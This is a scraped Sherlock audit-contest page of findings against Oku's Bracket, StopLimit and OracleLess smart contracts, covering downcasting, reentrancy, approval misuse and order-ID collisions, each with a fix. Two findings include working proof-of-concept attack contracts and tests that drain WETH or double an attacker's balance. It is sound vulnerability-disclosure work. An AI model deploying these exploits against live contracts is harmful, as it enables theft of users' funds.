Contests
Active
Upcoming
Juging Contests
Escalations Open
Sherlock Judging
Finished
Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/64
bughuntoor, t.aksoy
Multiple contracts in the rotocol perform unsafe downcasting from uint256 to uint160 when handling token amounts in Permit2 transfers. This can lead to silent overflow/underflow conditions, potentially allowing users to create orders with mismatched amounts, leading to fund loss or system manipulation.
While Solidity 0.8.x provides built-in overflow/underflow protection for arithmetic operations, it does not protect against data loss during type casting. The contracts perform direct casting of uint256 to uint160 without validation in several critical functions:
Bracket.sol: procureTokens() , modifyOrder()
StopLimit.sol: createOrder(), modifyOrder()
OracleLess.sol: procureTokens()
As an example, the StopLimit::modifyOrder()
function takes uint256 amountIn
as input. This variable is cast to uint160 inside the handlePermit function. Due to overflow, if the user sets the amount higher than the uint160 limit, the amount would become very small, and the contract would transfer this small amount. When setting orders, it uses amountIn as uint256. As a result, the user creates an order with a high amount but pays very little to the protocol. The user can then drain the contract by modifying their order.
///@notice see @IStopLimit function createOrder( uint256 stopLimitPrice, uint256 takeProfit, uint256 stopPrice, uint256 amountIn, IERC20 tokenIn, IERC20 tokenOut, address recipient, uint16 feeBips, uint16 takeProfitSlippage, uint16 stopSlippage, uint16 swapSlippage, bool swapOnFill, bool permit, bytes calldata permitPayload ) external override nonReentrant { if (permit) { handlePermit( recipient, permitPayload, uint160(amountIn), address(tokenIn) ); } function handlePermit( address owner, bytes calldata permitPayload, uint160 amount, address token ) internal { Permit2Payload memory payload = abi.decode( permitPayload, (Permit2Payload) ); permit2.permit(owner, payload.permitSingle, payload.signature); permit2.transferFrom(owner, address(this), amount, token); }
No response
User must have enough tokens to create an order
Amount must be greater than type(uint160).max
User must be able to interact with the contract's order creation functions
Protocol receives fewer tokens than the order amount indicates and user can modify order to drain the protocol
No response
Implement OpenZeppelin's SafeCast library
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits:
https://github.com/gfx-labs/oku-custom-order-types/pull/1
OracleLess
contract by creating an order with a malicious tokenIn
and executing it with a malicious target
.Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/357
0xaxaxa, BugPull, Ragnarok, whitehair0330
In the OracleLess
contract, the createOrder()
function does not verify whether the tokenIn
is a legitimate ERC20 token, allowing attackers to create an order with a malicious token. Additionally, the fillOrder()
function does not check if the target
and txData
are valid, enabling attackers to execute their order with a malicious target
and txData
.
The OracleLess.createOrder() function does not verify whether tokenIn
is a legitimate ERC20 token.
Additionally, the OracleLess.fillOrder() function does not check if target
and txData
are valid.
Let's consider the following scenario:
Alice, the attacker, creates a malicious token.
Alice creates an order with her malicious token:
tokenIn
: Alice's malicious tokentokenOut
: WETH
minAmountOut
: 0Alice calls the fillOrder()
function to execute her malicious order, setting parameters as follows:
target
: address of USDT
txData
: transfer all USDT
in the OracleLess
contract to Alice.
function fillOrder( ... 118 (uint256 amountOut, uint256 tokenInRefund) = execute( target, txData, order ); ... }
At line 118 of the fillOrder()
function, execute()
is invoked:
function execute(
address target,
bytes calldata txData,
Order memory order
) internal returns (uint256 amountOut, uint256 tokenInRefund) {
//update accounting
uint256 initialTokenIn = order.tokenIn.balanceOf(address(this));
uint256 initialTokenOut = order.tokenOut.balanceOf(address(this));
//approve
237 order.tokenIn.safeApprove(target, order.amountIn);
//perform the call
240 (bool success, bytes memory reason) = target.call(txData);
if (!success) {
revert TransactionFailed(reason);
}
uint256 finalTokenIn = order.tokenIn.balanceOf(address(this));
require(finalTokenIn >= initialTokenIn - order.amountIn, "over spend");
uint256 finalTokenOut = order.tokenOut.balanceOf(address(this));
require(
251 finalTokenOut - initialTokenOut > order.minAmountOut,
"Too Little Received"
);
amountOut = finalTokenOut - initialTokenOut;
tokenInRefund = order.amountIn - (initialTokenIn - finalTokenIn);
}
execute()
function, tokenIn.safeApprove()
is called. Alice made her malicious tokenIn
as follows:
This transfers 1 wei offunction approve(address spender, uint256 amount) public virtual override returns (bool) { WETH.transfer(msg.sender, 1); return true; }
WETH
to the OracleLess
contract.USDT
are transferred to Alice, as target
is USDT
and txData
is set to transfer to Alice.finalTokenOut - initialTokenOut
will be 1, as the contract has already received 1 wei. Thus, the require statement will pass since order.minAmountOut
was set 0.As a result, Alice can drain all USDT
from the OracleLess
contract.
Attackers can drain the OracleLess
contract by using malicious token
, target
, and txData
.
It is recommended to implement a whitelist mechanism for token
, target
, and txData
.
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits:
https://github.com/gfx-labs/oku-custom-order-types/pull/1
Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/421
0rpse, 0x007, 0xNirix, 0xProf, 0xaxaxa, AshishLac, Atharv, Bigsam, BugPull, ChaosSR, ChinmayF, Contest-Squad, DenTonylifer, Falendar, LonWof-Demon, LordAdhaar, NoOneWinner, Uddercover, Xcrypt, Z3R0, ami, covey0x07, durov, iamandreiski, joshuajee, kfx, lanrebayode77, pkabhi01, silver_eth, t.aksoy, t0x1c, vinica_boy, whitehair0330, xiaoming90, y51r, zhoo, zxriptor
Root Causes:
txData
.nonReentrant
modifier.nonReentrant
modifier.Attack Path: (Please refer PoC for detailed execution flow)
pendingOrderIds
looks like:pendingOrderIds = [N, A1, A2] 0 1 2 (array indices)
Order-N
is by the victim, a naive user. Orders A1
and A2
are by the attacker.
Order-A1
and Order-A2
recipient is a contract with address say, target
.Order-A1
is in range so they call fillOrder()
with malicious txData
.fillOrder()
internally calls execute()
which internally calls target.call(txData)
where both target
and txData
are attacker controlled.target
contract (let's say a function named attack()
), they pull the tokenIn (WETH) of Order-A1
as they have the approval.attack()
then sends 1 wei
of tokenOut (USDC) or any minimum amount back. The attacker will get this back later.attack()
then calls modifyOrder(Order-A1)
and decreases the position size to the minimum allowed. They are immediately credited say, M
WETH.attack()
next calls modifyOrder(Order-A2)
and increases the position size to park this M
WETH. This is done so that the overall WETH balance of OracelLess contract is not affected by this theft and the following check about over-spend inside execute()
passes successfully:require(finalTokenIn >= initialTokenIn - order.amountIn, "over spend");
attack()
and fillOrder()
continues further. The code goes ahead and removes Order-A1
from the pending order array and sends back the 1 wei
USDC to target
on L141. The attacker is at no loss & no gain right now.Order-A2
and receives the M
WETH back too, thus stealing it from the rightful funds of the victim/protocol.Note: In spite of similar structures, this attack can't be carried out inside Bracket.sol::performUpkeep()
as Bracket.sol::modifyOrder()
is protected by the nonReentrant
modifier.
High. Victim & protocol funds can be stolen at no substantial cost to the attacker.
MaliciousOracleLessTarget.sol
under the contracts/
directory:// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import "./interfaces/openzeppelin/IERC20.sol"; import "./interfaces/openzeppelin/SafeERC20.sol"; interface IOracleLess { function createOrder( IERC20 tokenIn, IERC20 tokenOut, uint256 amountIn, uint256 minAmountOut, address recipient, uint16 feeBips, bool permit, bytes calldata permitPayload ) external returns (uint96 orderId); function fillOrder( uint96 pendingOrderIdx, uint96 orderId, address target, bytes calldata txData ) external; function cancelOrder(uint96 orderId) external; } contract MaliciousOracleLessTarget { using SafeERC20 for IERC20; address public immutable oracleLessContract; IERC20 public immutable weth; IERC20 public immutable usdc; uint96 public secondOrderId; constructor(address _oracleLess, address _weth, address _usdc) { oracleLessContract = _oracleLess; weth = IERC20(_weth); usdc = IERC20(_usdc); weth.safeApprove(_oracleLess, type(uint256).max); } function setSecondOrderId(uint96 _orderId) external { secondOrderId = _orderId; } function createOrder( IERC20 tokenIn, IERC20 tokenOut, uint256 amountIn, uint256 minAmountOut, address recipient, uint16 feeBips, bool permit, bytes calldata permitPayload ) external { require ( IOracleLess(oracleLessContract).createOrder( tokenIn, tokenOut, amountIn, minAmountOut, recipient, feeBips, permit, permitPayload ) > 0 ); } function fillOrder( uint96 pendingOrderIdx, uint96 orderId, address target, bytes calldata txData ) external { IOracleLess(oracleLessContract).fillOrder( pendingOrderIdx, orderId, target, txData ); } function cancelOrder(uint96 orderId) external { IOracleLess(oracleLessContract).cancelOrder(orderId); } // During target.call() in fillOrder(), we: // 1. Modify first order to get funds back // 2. Transfer those funds to second order // 3. Send minimal USDC to pass balance check function attack( uint96 firstOrderId, uint256 amountToSteal, uint256 amountToReduce, uint256 minReturn ) external returns (bool) { // Step 0: Pull tokenIn (we have been provided the approval) weth.safeTransferFrom(msg.sender, address(this), amountToSteal); // Step 1: Modify first order to decrease position, getting back most funds (bool modifySuccess1,) = oracleLessContract.call( abi.encodeWithSignature( "modifyOrder(uint96,address,uint256,uint256,address,bool,bool,bytes)", firstOrderId, // orderId usdc, // _tokenOut unchanged amountToReduce, // amountInDelta minReturn, // _minAmountOut address(this), // _recipient false, // increasePosition = false to decrease false, // permit "0x" // permitPayload ) ); require(modifySuccess1, "First modify failed"); // Step 2: Increase position of second order with stolen funds (bool modifySuccess2,) = oracleLessContract.call( abi.encodeWithSignature( "modifyOrder(uint96,address,uint256,uint256,address,bool,bool,bytes)", secondOrderId, // orderId usdc, // _tokenOut unchanged amountToReduce, // amountInDelta minReturn, // _minAmountOut address(this), // _recipient true, // increasePosition = true to add funds false, // permit "0x" // permitPayload ) ); require(modifySuccess2, "Second modify failed"); // Step 3: Send minimal USDC to pass balance check in fillOrder() usdc.safeTransfer(msg.sender, 1); return true; } receive() external payable {} }
diff --git a/oku-custom-order-types/test/triggerV2/happyPath.ts b/oku-custom-order-types/test/triggerV2/happyPath.ts index caeed34..1181295 100644 --- a/oku-custom-order-types/test/triggerV2/happyPath.ts +++ b/oku-custom-order-types/test/triggerV2/happyPath.ts @@ -1085,4 +1085,150 @@ describe("Oracle Less", () => { }) +// Add this test after the existing "Oracle Less" describe block: +describe("OracleLess Attack via fillOrder and modifyOrder Reentrancy", () => { + let attackContract: string + let naiveOrderId: bigint + let firstOrderId: bigint + let secondOrderId: bigint + let attackWithWETH: bigint + + before(async () => { + attackWithWETH = s.wethAmount / 3n + console.log("\nSetting up Oracle Less attack test...") + console.log("Attack amount:", ethers.formatEther(attackWithWETH), "WETH") + + s.OracleLess = await DeployContract(new OracleLess__factory(s.Frank), s.Frank, await s.Master.getAddress(), a.permit2) + // Fund victim + await stealMoney(s.wethWhale, await s.Oscar.getAddress(), await s.WETH.getAddress(), s.wethAmount / 3n) + const oscarBalance = await s.WETH.balanceOf(await s.Oscar.getAddress()) + console.log("Oscar's WETH balance:", ethers.formatEther(oscarBalance)) + + // Deploy malicious contract + const AttackFactory = await ethers.getContractFactory("MaliciousOracleLessTarget") + const attack = await AttackFactory.connect(s.Steve).deploy( + await s.OracleLess.getAddress(), + await s.WETH.getAddress(), + await s.USDC.getAddress() + ) + attackContract = await attack.getAddress() + console.log("Attack contract deployed at:", attackContract) + + // Fund attack contract with WETH + await stealMoney(s.wethWhale, attackContract, await s.WETH.getAddress(), s.wethAmount - s.wethAmount / 3n) + console.log("Attack contract funded with", ethers.formatUnits(await s.WETH.balanceOf(attackContract), 18), "WETH") + + // Fund attack contract with USDC + await stealMoney(s.usdcWhale, attackContract, await s.USDC.getAddress(), BigInt(2000000000)) + const attackContractUSDC = await s.USDC.balanceOf(attackContract) + console.log("Attack contract funded with", ethers.formatUnits(attackContractUSDC, 6), "USDC") + }) + + it("Creates attacker's orders", async () => { + // Create first order by naive user + console.log("\nCreating first order by naive user...") + await s.WETH.connect(s.Oscar).approve(await s.OracleLess.getAddress(), s.wethAmount / 3n) + + let tx = await s.OracleLess.connect(s.Oscar).createOrder( + await s.WETH.getAddress(), + await s.USDC.getAddress(), + s.wethAmount / 3n, + 0, + await s.Oscar.getAddress(), + 0, + false, + "0x" + ) + + await tx.wait() + let pendingOrders = await s.OracleLess.getPendingOrders() + naiveOrderId = pendingOrders[0].orderId + expect(await s.WETH.balanceOf(await s.Oscar.getAddress())).to.be.eq(0) + + // Create first attack order + const attack = await ethers.getContractAt("MaliciousOracleLessTarget", attackContract) + console.log("\nCreating first attack order...") + + tx = await attack.connect(s.Steve).createOrder( + await s.WETH.getAddress(), + await s.USDC.getAddress(), + attackWithWETH, + 0, + attackContract, + 0, + false, + "0x" + ) + + await tx.wait() + pendingOrders = await s.OracleLess.getPendingOrders() + firstOrderId = pendingOrders[1].orderId + + // Create second order + console.log("\nCreating second attack order...") + tx = await attack.connect(s.Steve).createOrder( + await s.WETH.getAddress(), + await s.USDC.getAddress(), + attackWithWETH, + 0, + attackContract, + 0, + false, + "0x" + ) + + await tx.wait() + pendingOrders = await s.OracleLess.getPendingOrders() + secondOrderId = pendingOrders[2].orderId + + // Configure attack contract + await attack.setSecondOrderId(secondOrderId) + + // Verify orders + pendingOrders = await s.OracleLess.getPendingOrders() + expect(pendingOrders.length).to.be.eq(3, "Three orders should be pending") + }) + + it("Executes reentrancy attack", async () => { + const initWETH = await s.WETH.balanceOf(attackContract) + const initUSDC = await s.USDC.balanceOf(attackContract) + console.log("\nInitial balances of attackContract:") + console.log("WETH:", ethers.formatEther(initWETH)) + console.log("USDC:", ethers.formatUnits(initUSDC, 6)) + + // Generate attack payload + const functionSelector = ethers.id("attack(uint96,uint256,uint256,uint256)").slice(0, 10) + const encodedParams = ethers.AbiCoder.defaultAbiCoder().encode( + ["uint96", "uint256", "uint256", "uint256"], + [firstOrderId, attackWithWETH, attackWithWETH - BigInt(1e16), 1n] // leave some WETH behind ... and 1 wei as minReturn + ).slice(2) + const attackData = functionSelector + encodedParams + + console.log("Executing attack...") + const attack = await ethers.getContractAt("MaliciousOracleLessTarget", attackContract) + await attack.connect(s.Steve).fillOrder( + 1, + firstOrderId, + attackContract, + attackData + ) + await attack.connect(s.Steve).cancelOrder( + secondOrderId + ) + + const finalWETH = await s.WETH.balanceOf(attackContract) + const finalUSDC = await s.USDC.balanceOf(attackContract) + console.log("\nFinal balances:") + console.log("WETH:", ethers.formatEther(finalWETH)) + console.log("USDC:", ethers.formatUnits(finalUSDC, 6)) + + expect(finalWETH).to.be.gt(attackWithWETH, "Should have gained WETH") + expect(finalUSDC).to.be.eq(initUSDC, "Should have no USDC spend") + + const pendingOrders = await s.OracleLess.getPendingOrders() + expect(pendingOrders.length).to.be.eq(1, "Only the naive order should be pending") + expect(pendingOrders[0].orderId).to.be.eq(naiveOrderId, "Naive order id") + }) +}) +
Output:
OracleLess Attack via fillOrder and modifyOrder Reentrancy Setting up Oracle Less attack test... Attack amount: 0.55 WETH Oscar's WETH balance: 0.55 Attack contract deployed at: 0xB737dD8FC9B304A3520B3bb609CC7532F1425Ad0 Attack contract funded with 1.1 WETH Attack contract funded with 2000.0 USDC Creating first order by naive user... Creating first attack order... Creating second attack order... ✔ Creates attacker's orders (78ms) Initial balances of attackContract: WETH: 0.0 USDC: 2000.0 Executing attack... Final balances: WETH: 1.64 <---------------------- started with 1.1 WETH, ended up with 1.64 WETH USDC: 2000.0 ✔ Executes reentrancy attack (61ms)
Add the nonReentrant
modifier to both OracleLess.sol::fillOrder()
and OracleLess.sol::modifyOrder()
.
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits:
https://github.com/gfx-labs/oku-custom-order-types/pull/1
Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/542
0x37, 0x486776, 0xaxaxa, 0xc0ffEE, 62616279727564696e, Bigsam, Breaker, BugPull, Cayde-6, Contest-Squad, DenTonylifer, ExtraCaterpillar, IvanFitro, JinxSalamV2, John44, KiroBrejka, NoOneWinner, NoWinner, PNS, Pablo, Ragnarok, Tri-pathi, Uddercover, WildSniper, c-n-o-t-e, etherhood, gajiknownnothing, hals, lanrebayode77, moray5554, mxteem, newspacexyz, onthehunt, oualidpro, phoenixv110, rudhra1749, s0x0mtee, safdie, silver_eth, t.aksoy, t0x1c, vinica_boy, xiaoming90, zhigang, zhoo, zxriptor
In Bracket, OracleLess and StopLimit a user can modify a canceled order, allowing them to withdraw the order tokens twice.
In Bracket, OracleLess and StopLimit there is no validation on whether an order has already been canceled before modifying it:
https://github.com/sherlock-audit/2024-11-oku/blob/ee3f781a73d65e33fb452c9a44eb1337c5cfdbd6/oku-custom-order-types/contracts/automatedTrigger/OracleLess.sol#L171-L225
This allows users to cancel an order, withdrawing all of the tokens, and after that modifying it by reducing the amountIn
to 1, withdrawing the rest of the tokens for a second time.
No response
No response
amountIn
set to 1e18.amountIn
to 1, withdrawing 1e18 - 1 of the already withdrawn tokens.Bracket, OracleLess and StopLimit can be drained.
No response
Make sure that a canceled order cannot be modified,
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits:
https://github.com/gfx-labs/oku-custom-order-types/pull/1
Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/700
0xaxaxa, Contest-Squad, rudhra1749, whitehair0330, xiaoming90
performUpkeep::StopLimit function increases allowance of input token for Bracket contract to type(uint256).max.
https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/StopLimit.sol#L100-L104
updateApproval( address(BRACKET_CONTRACT), order.tokenIn, order.amountIn );
function updateApproval( address spender, IERC20 token, uint256 amount ) internal { // get current allowance uint256 currentAllowance = token.allowance(address(this), spender); if (currentAllowance < amount) { // amount is a delta, so need to pass max - current to avoid overflow token.safeIncreaseAllowance( spender, type(uint256).max - currentAllowance ); } }
so now Bracket contract can transfer input tokens to itself in fillStopLimitOrder function.
https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/StopLimit.sol#L126-L140
BRACKET_CONTRACT.fillStopLimitOrder( swapPayload, order.takeProfit, order.stopPrice, order.amountIn, order.orderId, tokenIn, tokenOut, order.recipient, order.feeBips, order.takeProfitSlippage, order.stopSlippage, false, //permit "0x" //permitPayload );
function fillStopLimitOrder( bytes calldata swapPayload, uint256 takeProfit, uint256 stopPrice, uint256 amountIn, uint96 existingOrderId, IERC20 tokenIn, IERC20 tokenOut, address recipient, uint16 existingFeeBips, uint16 takeProfitSlippage, uint16 stopSlippage, bool permit, bytes calldata permitPayload ) external override nonReentrant { require( msg.sender == address(MASTER.STOP_LIMIT_CONTRACT()), "Only Stop Limit" );
token.safeTransferFrom(owner, address(this), amount);
now even after this transfer almost type(uint256).max allowance is there for Bracket contract.
Attacker can take this as advantage and drain StopLimit contract funds.
function performUpkeep( bytes calldata performData ) external override nonReentrant { MasterUpkeepData memory data = abi.decode( performData, (MasterUpkeepData) ); Order memory order = orders[pendingOrderIds[data.pendingOrderIdx]]; require( order.orderId == pendingOrderIds[data.pendingOrderIdx], "Order Fill Mismatch" ); //deduce if we are filling stop or take profit (bool inRange, bool takeProfit, ) = checkInRange(order); require(inRange, "order ! in range");
and he sets feeBips = 0.
4)performUpkeep function internally calls execute function
https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/Bracket.sol#L108-L115
(uint256 swapAmountOut, uint256 tokenInRefund) = execute( data.target, data.txData, order.amountIn, order.tokenIn, order.tokenOut, bips );
now Lets observe execute function,
https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/Bracket.sol#L526-L568
function execute( address target, bytes memory txData, uint256 amountIn, IERC20 tokenIn, IERC20 tokenOut, uint16 bips ) internal returns (uint256 swapAmountOut, uint256 tokenInRefund) { //update accounting uint256 initialTokenIn = tokenIn.balanceOf(address(this)); uint256 initialTokenOut = tokenOut.balanceOf(address(this)); //approve tokenIn.safeApprove(target, amountIn); //perform the call (bool success, bytes memory result) = target.call(txData); if (success) { uint256 finalTokenIn = tokenIn.balanceOf(address(this)); require(finalTokenIn >= initialTokenIn - amountIn, "over spend"); uint256 finalTokenOut = tokenOut.balanceOf(address(this)); //if success, we expect tokenIn balance to decrease by amountIn //and tokenOut balance to increase by at least minAmountReceived require( finalTokenOut - initialTokenOut > MASTER.getMinAmountReceived( amountIn, tokenIn, tokenOut, bips ), "Too Little Received" ); swapAmountOut = finalTokenOut - initialTokenOut; tokenInRefund = amountIn - (initialTokenIn - finalTokenIn); } else { //force revert revert TransactionFailed(result); } }
In execute function after the external call to target(tokenA), tokenOut balance of contract increases by amount used as value in call( which is almost equal to available balance of StopLimit contract for tokenA).
so finalTokenOut - initialTokenOut=value.so following require check is passed.
require( finalTokenOut - initialTokenOut > MASTER.getMinAmountReceived( amountIn, tokenIn, tokenOut, bips ), "Too Little Received" );
and also
require(finalTokenIn >= initialTokenIn - amountIn, "over spend");
this check passes as we are not transfering any TokenIn tokens.
so now
swapAmountOut = finalTokenOut - initialTokenOut;
swapAmountOut = value.(value used in external call to tokenA).
now this swapAmountOut will be transferred to recipient address(set by attacker).
https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/Bracket.sol#L135
order.tokenOut.safeTransfer(order.recipient, adjustedAmount);
here adjustedAmount = swapAmountOut = value.(as we set feeBips = 0).
https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/Bracket.sol#L125-L128
(uint256 feeAmount, uint256 adjustedAmount) = applyFee( swapAmountOut, order.feeBips );
so finally through this process Attacker can drain all funds of StopLimit contract through creating orders in Bracket contract by setting tokenOut as tokens for which Bracket contract have allowance to transfer from StopLimit contract, and setting takeProfit and stopPrice such that order was readily executable.And setting target as these tokenOut tokens and txData such that it calls transferFrom function with from = address of StopLimit contract, to = address of Bracket contract, value = available balance for StopLimit contract of tokenOut tokens respectively.
increasing allowance of Bracket contract to type(uint256).max for transferring tokens of StopLimit contract.
https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/StopLimit.sol#L397-L411
function updateApproval( address spender, IERC20 token, uint256 amount ) internal { // get current allowance uint256 currentAllowance = token.allowance(address(this), spender); if (currentAllowance < amount) { // amount is a delta, so need to pass max - current to avoid overflow token.safeIncreaseAllowance( spender, type(uint256).max - currentAllowance ); } }
No response
No response
Attacker can drain StopLimit contract funds.( almost completely)
No response
StopLimit contract should increase allowance of Bracket contract to transfer tokens only which are required in fillStopLimit order function( not to type(uint256).max).
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits:
https://github.com/gfx-labs/oku-custom-order-types/pull/1
Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/745
0x007, 0x0x0xw3, 0x37, 0xaxaxa, 0xc0ffEE, 0xmujahid002, Boy2000, Contest-Squad, KungFuPanda, ami, durov, etherhood, iamandreiski, joshuajee, t.aksoy, tobi0x18, vinica_boy, whitehair0330
The contract gives arbitrary approval to untrusted contracts when filling orders, these approvals don't need to be fully utilized, and in situations where the approvals are not fully used they are not revoked, worst the order creator gets refunded for all unspent tokens. This leaves a malicious contract with unused approvals that they can use to steal funds. This attack is very easy to perform and can be done multiple times.
The root cause is the failure to set approval to zero after the call to the target
contract.
function execute( address target, bytes calldata txData, Order memory order ) internal returns (uint256 amountOut, uint256 tokenInRefund) { //update accounting uint256 initialTokenIn = order.tokenIn.balanceOf(address(this)); uint256 initialTokenOut = order.tokenOut.balanceOf(address(this)); //approve @-> order.tokenIn.safeApprove(target, order.amountIn); //perform the call (bool success, bytes memory reason) = target.call(txData); if (!success) { revert TransactionFailed(reason); } uint256 finalTokenIn = order.tokenIn.balanceOf(address(this)); require(finalTokenIn >= initialTokenIn - order.amountIn, "over spend"); uint256 finalTokenOut = order.tokenOut.balanceOf(address(this)); require( finalTokenOut - initialTokenOut > order.minAmountOut, "Too Little Received" ); amountOut = finalTokenOut - initialTokenOut; tokenInRefund = order.amountIn - (initialTokenIn - finalTokenIn); }
There are pending orders in the contract, for example worth 100 ETH;,
No response
The output of the POC below shows that the attacker almost doubled their initial balance by performing this action.
[PASS] testAttack() (gas: 435837) Logs: ATTACKER BALANCE BEFORE ATTACK : 100000000000000000000 MALICIOUS CONTRACT ALLOWANCE : 99999999999999999999 ATTACK BALANCE AFTER ATTACK : 199999999999999999998
// SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import "forge-std/Test.sol"; import "forge-std/console.sol"; import {ERC20Mock} from "openzeppelin-contracts/contracts/mocks/token/ERC20Mock.sol"; import { AutomationMaster } from "../contracts/automatedTrigger/AutomationMaster.sol"; import { OracleLess } from "../contracts/automatedTrigger/OracleLess.sol"; import "../contracts/interfaces/uniswapV3/IPermit2.sol"; import "../contracts/interfaces/openzeppelin/ERC20.sol"; import "../contracts/interfaces/openzeppelin/IERC20.sol"; contract MaliciousTarget { IERC20 tokenIn; IERC20 tokenOut; constructor (IERC20 _tokenIn, IERC20 _tokenOut) { tokenIn = _tokenIn; tokenOut = _tokenOut; } fallback () external payable { tokenIn.transferFrom(msg.sender, address(this), 1); tokenOut.transfer(msg.sender, 1); } function spendAllowance(address victim) external { tokenIn.transferFrom(victim, msg.sender, 100 ether - 1); } } contract PocTest2 is Test { AutomationMaster automationMaster; OracleLess oracleLess; IPermit2 permit2; IERC20 tokenIn; IERC20 tokenOut; MaliciousTarget target; address attacker = makeAddr("attacker"); address alice = makeAddr("alice"); function setUp() public { automationMaster = new AutomationMaster(); oracleLess = new OracleLess(automationMaster, permit2); tokenIn = IERC20(address(new ERC20Mock())); tokenOut = IERC20(address(new ERC20Mock())); target = new MaliciousTarget(tokenIn, tokenOut); //MINT ERC20Mock(address(tokenIn)).mint(alice, 100 ether); ERC20Mock(address(tokenIn)).mint(attacker, 100 ether); ERC20Mock(address(tokenOut)).mint(address(target), 1); } function testAttack() public { uint96 orderId; //Innocent User vm.startPrank(alice); tokenIn.approve(address(oracleLess), 100 ether); orderId = oracleLess.createOrder(tokenIn, tokenIn, 100 ether, 9 ether, alice, 1, false, '0x0'); vm.stopPrank(); //Attacker console.log("ATTACKER BALANCE BEFORE ATTACK : ", tokenIn.balanceOf(attacker)); vm.startPrank(attacker); tokenIn.approve(address(oracleLess), 100 ether); orderId = oracleLess.createOrder(tokenIn, tokenOut, 100 ether, 0, attacker, 1, false, '0x0'); oracleLess.fillOrder(1, orderId, address(target), "0x"); console.log("MALICIOUS CONTRACT ALLOWANCE : ",tokenIn.allowance(address(oracleLess), address(target))); //Spend allowance target.spendAllowance(address(oracleLess)); console.log("ATTACK BALANCE AFTER ATTACK : ", tokenIn.balanceOf(attacker)); vm.stopPrank(); } }
function execute( address target, bytes calldata txData, Order memory order ) internal returns (uint256 amountOut, uint256 tokenInRefund) { //update accounting uint256 initialTokenIn = order.tokenIn.balanceOf(address(this)); uint256 initialTokenOut = order.tokenOut.balanceOf(address(this)); //approve order.tokenIn.safeApprove(target, order.amountIn); //perform the call (bool success, bytes memory reason) = target.call(txData); if (!success) { revert TransactionFailed(reason); } + order.tokenIn.safeApprove(target, 0); uint256 finalTokenIn = order.tokenIn.balanceOf(address(this)); require(finalTokenIn >= initialTokenIn - order.amountIn, "over spend"); uint256 finalTokenOut = order.tokenOut.balanceOf(address(this)); require( finalTokenOut - initialTokenOut > order.minAmountOut, "Too Little Received" ); amountOut = finalTokenOut - initialTokenOut; tokenInRefund = order.amountIn - (initialTokenIn - finalTokenIn); }
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits:
https://github.com/gfx-labs/oku-custom-order-types/pull/1
Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/761
056Security, 0rpse, 0x007, 0x0x0xw3, 0x37, 0x486776, 0xAadi, 0xNirix, 0xRiO, 0xaxaxa, 0xc0ffEE, 0xeix, 0xhuh2005, 0xmurki, 0xumarkhatab, 62616279727564696e, Afriaudit, Atharv, Bigsam, Boy2000, Breaker, BugPull, Cayde-6, ChinmayF, Contest-Squad, DenTonylifer, ElKu, ExtraCaterpillar, Falendar, IvanFitro, JinxSalamV2, John44, JohnTPark24, Kenn.eth, KungFuPanda, Kyosi, LonWof-Demon, LordAdhaar, Matin, NickAuditor2, NoOneWinner, NoWinner, PNS, PeterSR, PoeAudits, Praise03, Ragnarok, Tri-pathi, TxGuard, Weed0607, Xcrypt, Z3R0, ami, aslanbek, auditism, bughuntoor, chista0x, covey0x07, durov, elvin.a.block, future2_22, hals, iamandreiski, itcruiser00, joshuajee, krot-0025, lanrebayode77, lukris02, mladenov, mxteem, newspacexyz, nfmelendez, nikhil840096, onthehunt, oualidpro, phoenixv110, rudhra1749, safdie, silver_eth, t.aksoy, t0x1c, tedox, tmotfl, tobi0x18, tomadimitrie, vinica_boy, whitehair0330, xiaoming90, xseven, yovchev_yoan, zhenyazhd, zhigang, zhoo, zxriptor
High-severity vulnerability in Oku's dual-contract architecture where parallel order creation between StopLimit.sol
and Bracket.sol
enables order data corruption and potential double-refund exploitation through orderId collisions.
// Current implementation function generateOrderId(address user) external returns (uint96) { return uint96(uint256(keccak256(abi.encodePacked( block.number, user )))); }
Deterministic orderId generation lacks contract-specific entropy, allowing cross-contract collisions within the same block.
mapping(uint96 => Order) public orders;
// Block N // Step 1: Create Bracket order (5000 USDT) bracket.createOrder({ amountIn: 5000e6, recipient: attacker }); // OrderId = hash(blockN + attacker) // Same Block N // Step 2: Create StopLimit order (10000 USDT) stopLimit.createOrder({ amountIn: 10000e6, recipient: attacker }); // Internally calls bracket.fillStopLimitOrder // Same OrderId = hash(blockN + attacker) // Step 3: Cancel order twice bracket.cancelOrder(orderId); // Refunds 10000 USDT bracket.cancelOrder(orderId); // Refunds 10000 USDT again
contract AutomationMaster { // Add contract-specific entropy function generateOrderId( address user, address contractSource ) external returns (uint96) { return uint96(uint256(keccak256(abi.encodePacked( block.number, user, contractSource, _orderNonce++ // Additional entropy )))); } uint256 private _orderNonce; } // Update in Bracket.sol function createOrder(...) external { uint96 orderId = MASTER.generateOrderId(msg.sender, address(this)); // Rest of the function } // Update in StopLimit.sol function createOrder(...) external { uint96 orderId = MASTER.generateOrderId(msg.sender, address(this)); // Rest of the function }
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits:
https://github.com/gfx-labs/oku-custom-order-types/pull/1
safeTransferFrom
leads to users tokens steal by attackerSource: https://github.com/sherlock-audit/2024-11-oku-judging/issues/789
